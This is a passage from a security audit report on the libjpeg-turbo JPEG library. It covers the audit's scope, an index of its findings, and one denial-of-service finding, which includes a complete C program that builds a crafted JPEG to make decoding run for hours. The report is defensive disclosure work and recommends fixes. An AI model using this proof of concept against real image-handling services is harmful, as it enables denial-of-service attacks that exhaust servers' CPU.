Penetration Test Report (Cure53): pentest report libjpeg turbo

Pentest-Report libjpeg-turbo 11.2015 - 01.2016
Cure53, Dr.-Ing. Mario Heiderich, Jann Horn, Mike Wege, Dario Weißer
Index
Introduction
Scope
Identified Vulnerabilities
LJT -01-003 DoS via progressive , arithmetic image decoding ( Medium )
LJT -01-004 DoS via smal l Image with large Dimensions ( Medium )
LJT -01-005 Ou t - o f - Bounds Read via unusually long Blocks in MCU ( High )
Miscellaneous Issues
LJT -01-001 Wraparound in round _ up _ pow 2() ( Low )
LJT -01-002 Dangling pointer used as placeholder ( Low )
Conclusion
Introduction
“libjpeg-turbo is a JPEG image codec that uses SIMD instructions (MMX, SSE2, NEON)
to accelerate baseline JPEG compression and decompression on x86, x86-64, and ARM
systems. On such systems, libjpeg-turbo is generally 2-4x as fast as libjpeg, all else
being equal. On other types of systems, libjpeg-turbo can still outperform libjpeg by a
significant amount, by virtue of its highly-optimized Huffman coding routines. In many
cases, the performance of libjpeg-turbo rivals that of proprietary high-speed JPEG
codecs.
libjpeg-turbo implements both the traditional libjpeg API as well as the less powerful but
more straightforward TurboJPEG API. libjpeg-turbo also features colorspace extensions
that allow it to compress from/decompress to 32-bit and big-endian pixel buffers (RGBX,
XBGR, etc.), as well as a full-featured Java interface.
libjpeg-turbo was originally based on libjpeg/SIMD, an MMX-accelerated derivative of
libjpeg v6b developed by Miyasaka Masaru. The TigerVNC and VirtualGL projects made
numerous enhancements to the codec in 2009, and in early 2010, libjpeg-turbo spun off
into an independent project, with the goal of making high-speed JPEG
compression/decompression technology available to a broader range of users and
developers”
From http :/ / libjpeg - turbo . virtualg l . org /
1/13
This source code audit against the libjpeg-turbo library was carried out by three
members of the Cure53 team and one invited external expert. The project was initiated
by Open Technology Fund1 and the Mozilla Foundation2, pioneering a new open source
security grant scheme called SOS.
The audit took an overall of 12 days to complete and yielded a total of three security
vulnerabilities and two general weaknesses. One of the issues spotted was classified to
be of a “High” severity due to the fact that it might, in certain scenario, considerably aid
an attacker seeking to acquire arbitrary code execution. The core problem originated
from important information being leaked. The remaining problems discovered during the
test were of significantly lower severity, thus warranting an overall good impression
about the security situation and robustness of the tested library.
The goal of this source code audit was to get a good coverage of the library parts facing
user-controlled code in the common scenarios, such as displaying an image in the
browser or similar software. Given the time constraints, the more eccentric usage
patterns were not tested, hence no particular evaluation of their state can be issued from
this assessment. Further, this assessment did not involve any fuzzing against the library.
The only time the library was actually used (rather than just its code being audited) was
for the purpose of reproducing the issues already spotted in the code.
Scope
• libjpeg-turbo Sources
◦ https :/ / github . com / libjpeg - turbo / libjpeg - turbo .git
1 https :// www . opentech . fund /
2 https :// www . mozilla . org / en - US / foundation /
2/13
Identified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in a chronological order rather than by
their degree of severity and impact. The aforementioned severity rank is simply given in
brackets following the title heading for each vulnerability. Each vulnerability is
additionally given a unique identifier (e.g. LJT-01-001) for the purpose of facilitating any
future follow-up correspondence.
LJT-01-003 DoS via progressive, arithmetic image decoding (Medium)
When the decoder code hits a marker while an arithmetically-encoded scan is decoded,
all following requests for more input data by the arithmetic decoder are fulfilled using
zero-bytes until the scan is complete. This can be used by an attacker to cause relatively
big processing times with the use of small inputs. More specifically, supplying only SOI,
DQT, SOF and SOS markers3 without any image data, the attacker can cause libjpeg-
turbo to decode a whole scan with attacker-chosen dimensions (possibly limited by the
application). This behavior in itself is not very interesting, however, because the CPU
usage is bounded by the dimensions of the frame.
Conversely, a progressive, arithmetically-encoded frame can contain multiple scan
segments, with each of them being only 10 bytes long as long as they consist
exclusively of the SOS marker. Because libjpeg-turbo permits images to envelop an
arbitrary number of frames, this can be used to increase the processing time per image
linearly in the file size.
For high CPU usage, it is necessary that decode_mcu_DC_refine() is used as
decode_mcu handler. Otherwise, the other handlers have fastpath handlers for the case
that the input is stuffed with zero-bytes. Therefore, Ah needs to be non-zero and Ss
needs to be zero. The following code constructs a JPG file with 8192x8192 dimensions
and 8MB in size. This way, it is being saved to the disk and attempts to load via libjpeg-
turbo:
#include <turbojpeg.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <err.h>
#define KB * 1024
/* max 65500 */
#define DIMENSION "\x20\x00" /* ~8MB RAM? */
/* copied from the source because I don't want to think about what a valid table
has to look like */
static char quanttab[] = {
3 https :// en . wikibooks . org / wik i / JPEG _-_ Idea _ and _ Practice / The _ header _ part
3/13
16, 11, 10, 16, 24, 40, 51, 61,
12, 12, 14, 19, 26, 58, 60, 55,
14, 13, 16, 24, 40, 57, 69, 56,
14, 17, 22, 29, 51, 87, 80, 62,
18, 22, 37, 56, 68, 109, 103, 77,
24, 35, 55, 64, 81, 104, 113, 92,
49, 64, 78, 87, 103, 121, 120, 101,
72, 92, 95, 98, 112, 100, 103, 99
};
static int quanttab_size = sizeof(quanttab);
int main(void) {
puts("preparing...");
unsigned char head[] =
/*SOI*/ "\xFF\xD8"
/*SOF10*/ "\xFF\xCA\x00\x0B\x08" DIMENSION DIMENSION "\x01\x00\x11\x00"
/*DQT*/ "\xFF\xDB\x00\x43\x00" /*values in quanttab*/;
unsigned char sos[] = "\xFF\xDA\x00\x08\x01\x00\x00\x00\x00\x10";
int headlen = sizeof(head)-1;
int soslen = sizeof(sos)-1;
unsigned char img[8000 KB];
memcpy(img, head, headlen);
int off = headlen;
memcpy(img+off, quanttab, quanttab_size);
off += quanttab_size;
while (off + soslen <= sizeof(img)) {
memcpy(img + off, sos, soslen);
off += soslen;
}
/* leave the rest uninitialized, whatever */
FILE *f = fopen("eofloop_2.jpg", "w");
if (!f) err(1, "fopen");
if (fwrite(img, off, 1, f) != 1)
errx(1, "fwrite");
if (fclose(f))
err(1, "fclose");
puts("reading header...");
tjhandle h = tjInitDecompress();
if (h == NULL) return 1;
int width, height;
if (tjDecompressHeader(h, img, sizeof(img), &width, &height)) {
puts(tjGetErrorStr());
return 2;
}
printf("got header: width=%d, height=%d\n", width, height);
unsigned char *dstBuf = malloc(width * (size_t)height);
if (!dstBuf) return 3;
if (tjDecompress2(h, img, sizeof(img), dstBuf, width, /*pitch*/width, height,
TJPF_GRAY, 0)) {
puts(tjGetErrorStr());
4/13
return 4;
}
printf("decompression done\n");
tjDestroy(h);
return 0;
}
This case is detected and reported with the use of a JWRN_BOGUS_PROGRESSION
warning. Evidently, the library does not treat it as an error by default and fully decodes
every scan, causing tjDecompress2() to run for 6 hours (tested on an Intel i7 processor).
It is recommended to either abort bogus progression or, if error tolerance is desired here,
skip the decoding of bogus scans that do not supply additional information.
LJT-01-004